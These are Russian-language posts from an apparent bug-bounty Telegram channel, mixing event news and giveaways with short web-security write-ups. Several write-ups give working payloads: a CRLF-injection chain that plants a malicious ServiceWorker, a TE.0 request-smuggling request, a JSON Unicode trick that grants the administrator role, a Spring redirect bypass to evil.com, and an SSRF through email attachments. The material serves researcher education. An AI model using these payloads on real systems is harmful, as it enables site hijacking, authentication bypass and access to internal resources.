Сегодня мы познакомимся с уязвимостью Insecure Deserialization на примере нескольких задач с PortSwigger и Standoff365 👨💻
В статье мы разберём, как устроены процессы сериализации и десериализации, а также напишем собственные эксплойты для реализации уязвимостей 😻
Подробнее
Ну и раз я вспомнил, что у меня есть Telegram канал - нужно запостить что-то полезное)
Если вы обнаружили CRLF Injection, которая позволяет перезаписать HTTP ответ и сделать XSS, - то ее импакт можно увеличить с помощью ServiceWorker.
Для регистрации ServiceWorker необходимо:
1) Иметь возможность выполнения JavaScript в контексте сайта
2) Наличие JavaScript файла на сервере с корректным Content-Type
Используя CRLF Injection оба этих условия легко выполняются:
XSS
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:20%0D%0A%0D%0A<script>XSS</script>
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0AContent-Length:7%0D%0A%0D%0AJS_file
Service-Worker-Allowed:/
, который подменяет все HTTP ответы на строку Fake response.https://example.tld/some/path/foo/bar/?param=x%0D%0AService-Worker-Allowed:/%0D%0AContent-Type:text/javascript%0D%0AContent-Length:162%0D%0A%0D%0Aself.addEventListener(%22fetch%22,function(event){event.respondWith(new%20Response(%22Fake%20response%22,{status:200,statusText:%22OK%22,headers:{%22Content-Type%22:%22text/html%22}}))})
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/html%0D%0AContent-Length:378%0D%0A%0D%0A%3Cscript%3Enavigator.serviceWorker.register('/some/path/foo/bar/?param=x%250D%250AService-Worker-Allowed:/%250D%250AContent-Type:text/javascript%250D%250AContent-Length:162%250D%250A%250D%250Aself.addEventListener(%2522fetch%2522,function(event){event.respondWith(new%2520Response(%2522Fake%2520response%2522,{status:200,statusText:%2522OK%2522,headers:{%2522Content-Type%2522:%2522text/html%2522}}))})',{scope:'/'})%3C/script%3E
https://example.tld/some/path/foo/bar/?param=x%0D%0AContent-Type:text/javascript%0D%0ATransfer-Encoding:chunked%0D%0A%0D%0A7%0D%0AJS_file%0D%0A0%0D%0A%0D%0AЧитать полностью…
🙏 Розыгрыш проходок BUGS ZONE 3.0
В ноябре планирую поехать на оффлайн часть приватного ивента для багхантеров BUGS ZONE 3.0. Если не получили приглашение, то у ребят из BI.ZONE Bug Bounty сейчас проходит розыгрыш проходок.
Обещают доклады, подарки и всякие интересные активности, а также вы сможете увидеть и пообщаться с множеством топовых багхантеров, представителями площадки и вендоров.
💻 Что не так с этим кодом?
Взгляните внимательно на код ниже. Заметили уязвимость? Ответ под спойлером.
<?php
$input = $_GET["password"];
$answer = json_decode($input);
//random 16 character token
$token = base64_encode(bin2hex(random_bytes(16)));
$password = $answer->password;
if ($password == $token) {
echo "Admin Panel";
} else {
echo "Error Encoutered! Wrong Token!<br>";
echo "Your token was: $token";
}
?>
Сегодня доклад для любителей SSRF и Bug Bounty
Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.
📺 → видос
🗂 → преза
💬 → фидбэк
⌨️ AD CS Web Enrollment. Relay меня полностью
Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.
Подробное объяснение, команды и обилие скринов прилагается.
Ссылка на Хабр
#pentest #ad
💬 Обновленный поиск XSS с Nuclei
В новом обновлении Nuclei v3.3.2 добавили фичу, позволяющую обнаруживать XSS в headless
моде с помощью действия waitdialog
. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert()
, что позволит искать в том числе и DOM XSS.
Я решил протестить все это на лабе портсвигера. По итогу, получился вот такой шаблон:
id: xss-detection
info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss
headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate
- action: waitdialog
name: popup
matchers:
- type: dsl
dsl:
- popup == true
condition: and
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net
Давненько не обновлял Burp Suite и решил глянуть на изменения в новых версиях. Помимо улучшения производительности, оказывается, теперь там можно … играть???
https://github.com/BugBountyzip/Bambdas
Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀
Подробнее
😆 Как мы с вами выросли за год
На пресс-конференции в рамках OFFZONE 2024 поделились итогами работы BI.ZONE Bug Bounty вместе со Сбером, «Группой Астра» и багхантером Артёмом Бельченко.
Из интересного:
🔵Сегодня на платформе размещаются 34 компании и 78 программ по поиску уязвимостей.
🔵Выплаты увеличились почти в 3 раза: их общая сумма составила 45 миллионов рублей, а за уязвимости уровней high и critical заплатили 28 миллионов рублей.
🔵Более чем в 1,5 раза возросло количество отчетов от багхантеров. При этом каждая шестая обнаруженная уязвимость относилась к уровням high и critical.
🔵За последний год на платформе более чем в 3 раза увеличилось количество компаний из финансовой отрасли и в 6 раз выросло число программ от госсектора.
🔵Мы запустили первую в стране программу по поиску уязвимостей в инфраструктуре субъекта РФ — Ленинградской области.
Впереди нас ждет еще больше программ, выплат и крутых ивентов для сообщества!
Если еще не багхантите с нами, присоединяйтесь ;)
®️ До встречи на OFFZONE
Я живу достаточно далеко от МСК и не часто выбираюсь из своей уютной берлоги, но в этом году, как и в прошлом, поеду на OFFZONE. В том году мероприятие запомнилось мне, в первую очередь, встречей с множеством крутых специалистов, среди которых были и мои подписчики. В этом году буду также рад с вами увидеться!
Кроме того, знаю про несколько крутых докладов, которые будут в этом году на ивенте. Организаторы недавно выложили программу мероприятия, поэтому можно перейти по линку и отобрать интересные для себя выступления в избранное.
Ну и конечно же не стоит напоминать про другие активности вроде воркшопов, стендов, викторин, кальянов, пива, гор мерча и многого другого. Так что подходите, увидимся там!
Эксплуатация состояния гонки в «тапалках» в Telegram
https://kaimi.io/2024/08/exploit-race-condition-in-telegram-mini-apps/
📖 AlphaBay: Как ошибка в Opsec привела к поимке «короля» даркнета
Alphabay — огромный даркнет-маркетплейс, стал символом эпохи «темного» интернета. Его создание - результат стремления к анонимности, которое в итоге привело к катастрофическим последствиям.
Alphabay предлагал убежище для преступников, где они могли продавать наркотики, оружие и украденные данные. Но за анонимностью скрывался Александр Казес - тот самый Alpha02, администратор сайта, только он не учёл важность Opsec - что его и погубило.
⏳ Обход аутентификации с помощью Race Condition, приводящий к полному захвату учетной записи
Помните исследование Джеймса Кеттла про Race Condition? В данной статье будет пример реализации данного исследования на практике во время багхантинга и, как итог, захват любого аккаунта на сайте.
Ссылка на статью
#web #race #ato
TE.0 HTTP Request Smuggling
Новая техника эксплуатации HTTP
Request Smuggling
представлена в блоге Bugcrowd
Суть TE.0
такая же как у CL.0
только в данном случае фронт принимает, а бэкэнд игнорирует заголовок Transfer-Encoding
. Кто бы мог подумать, что в мире найдутся сервера обрабатывающие запрос, который начинается с number + newline😎OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Такие нашлись у GCP
load balancer'ов, эксплуатация TE.0
позволила обойти Google IAP
(Identity-Aware Proxy) и получить доступ к ресурсам за этой проксей с байпасом механизмов аутентификации и авторизации, за репорт баги Google
выплатили исследователям $8.5k
Особенности эксплуатации TE.0
:
✅ Значение chunk length
должно быть в hex number
в соответствии с HTTP/1.1 RFC
✅ 2 EMPTY_LINE_HERE в конце последнего чанка запроса
✅ Использование различных методов при отправке пейлоада (в кейсе с GCP
успешно отработал OPTIONS
)
💳 Про инъекции в JSON
JSON стал основой большинства коммуникаций API и его простота часто упускается из виду в моделях угроз. Тем не менее, в современных веб-приложениях и API-интерфейсах в конвейере запросов может использоваться несколько анализаторов, каждый со своими особенностями и уязвимостями. Расхождения между парсерами в сочетании с многоступенчатой обработкой запросов могут привести к серьезным уязвимостям.
Рассмотрим пример когда объекты JSON напрямую сериализуются в базу данных (MongoDB, Couchbase, DynamoDB, CosmosDB и т.д.) и десериализуются во внешние компоненты, которые используют разные анализаторы.
POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator"
}
HTTP/1.1 401 Not Authorized
...
Content-Type: application/json
{"Error": "Assignment of internal role 'administrator' is forbidden"}
ujson
, мы можем добавить символ Unicode, который обрежется анализатором и поможет обойти данную проверку.POST /user/create HTTP/1.1
...
Content-Type: application/json
{
"user": "dana",
"role": "administrator\ud888"
}
HTTP/1.1 200 OK
...
Content-Type: application/json
{"result": "OK: Created user ‘dana’ with the role of ‘administrator’"}
↔️ Open Redirect и SSRF в Spring
Если вам попалось приложение на Spring и вы пытаетесь раскрутить SSRF или Open Redirect, то обратите внимание на недавнее CVE-2024-22243.
Символ «левой квадратной скобки» [
в сегменте юзеринфо может привести к тому, что UriComponentsBuilder
в Spring вернет значение имени хоста, которое отличается от интерпретации крупных браузеров, что может позволить обойти вайтлист и обратиться к закрытому ресурсу.
http://target.com/redirect?url=https://target.com%5b@evil.com
✉ SSRF через вложения в электронной почте
Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)
Не было особой причины думать, что изменение параметра email_attachments
на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:
GET / HTTP/1.1
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close
email_attachments
, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.data:URI
, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.http://10.10.1.3:3000/api/v1/apps/list%23test.txt
.send_email
с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.Баг, через который можно угнать все машины от Kia
У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?
После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.
Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.
Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.
Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.
🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:
«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?
Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».
Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:
«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».
Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)
✨ Хочешь получить доступ к приватным программам на платформе Standoff Bug Bounty?
Конечно хочешь. Вот короткая инструкция, что делать:
1️⃣ Перейди по ссылке и заполни небольшой опрос.
2️⃣ Попади в список из 50 счастливчиков с самыми классными навыками и опытом. Если пройдешь отбор, мы сразу же тебе напишем.
3️⃣ Ищи баги в свеженьком закрытом скоупе.
❗️ Важное условие: у тебя не должно быть ни одной приватной программы.
Еще читаешь? Бросай это дело — анкета сама себя не заполнит.
Опубликовали видеоролик о том, как прошла ежегодная независимая премия Pentest award 2024!
Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.
Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.
До встречи в 2025 году 👋
Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.
📺 Полное видео
🔗 Pentest award (архив)
❤ @justsecurity
🖊️Семантические уязвимости в серверах Apache
В связи с недавно прошедшими мероприятиями и моим отпуском не было времени упомянуть некоторые крутые недавно опубликованные доклады. И к одному из таких относится ресерч старины Orange Tsai, в ходе которого было найдено сразу несколько CVE и различных мисконфигов в серверах Apache.
Странно, что никто об этом еще не написал, так как материал очень интересный и я всем рекомендую ознакомиться с оригиналом по ссылке. Я также набросал несколько шаблонов для Nuclei на основе этого доклада, которые вы можете доработать или использовать как есть на своих целях (закину их в комменты под постом).
#web #apache #cve
®️ OFFZONE 2024 - всё
Вот и закончился OFFZONE 2024 и хочется сказать спасибо организаторам и всем причастным за столь крутое мероприятие! @offzone_moscow вы молодцы)
За эти два дня пообщался с многими классными специалистами и просто с интересными людьми, поучаствовал в различных активностях и послушал несколько докладов. Отдельное спасибо @bizone_bb за приглашение на их ивенты, а всем вендорам за разнообразный скоуп! За афтепати отдельный респект, было весело!
В общем, рад был всех видеть и до новых встреч!
Пара кейсов с БагБаунти ☄️
Решил поделиться парой найденных багов, которые были подтверждены около года назад и уже исправлены.
В будущем планирую также выкладывать подобные посты, так как практические кейсы всегда позволяют подчерпнуть для себя чего-то нового.
Приятного прочтения ! 🔥
🎉 Результаты розыгрыша:
Победители:
1. Mikhail (@tru3f4ls3)
2. Игорь
Проверить результаты
🎉 Розыгрыш билетов на OFFZONE
Да свершится великий рандом! Я разыграю ДВА БИЛЕТА на одну из самых ожидаемых конференций года - OFFZONE.
Как принять участие:
- Быть подписанным на канал
- Нажать кнопку "Участвую!" под этим постом
Бот случайным образом выберет двух счастливчиков среди тех, кто выполнит все условия!
Сроки:
Розыгрыш продлится до 29.07.2024, а победители будут объявлены на следующий день.
Не упустите свой шанс стать частью OFFZONE! Удачи всем участникам!
#offzone
🪟XSS на веб-сайтах с отсутствующей информацией о кодировке
Злоумышленник может использовать кодировку символов ISO-2022-JP для внедрения произвольного кода JavaScript на веб-сайтах, где отсутствует информация о кодировке HTML страницы.
Подробнее о том, как это работает и почему может приводить к XSS читайте в блоге по ссылке.
#web #xss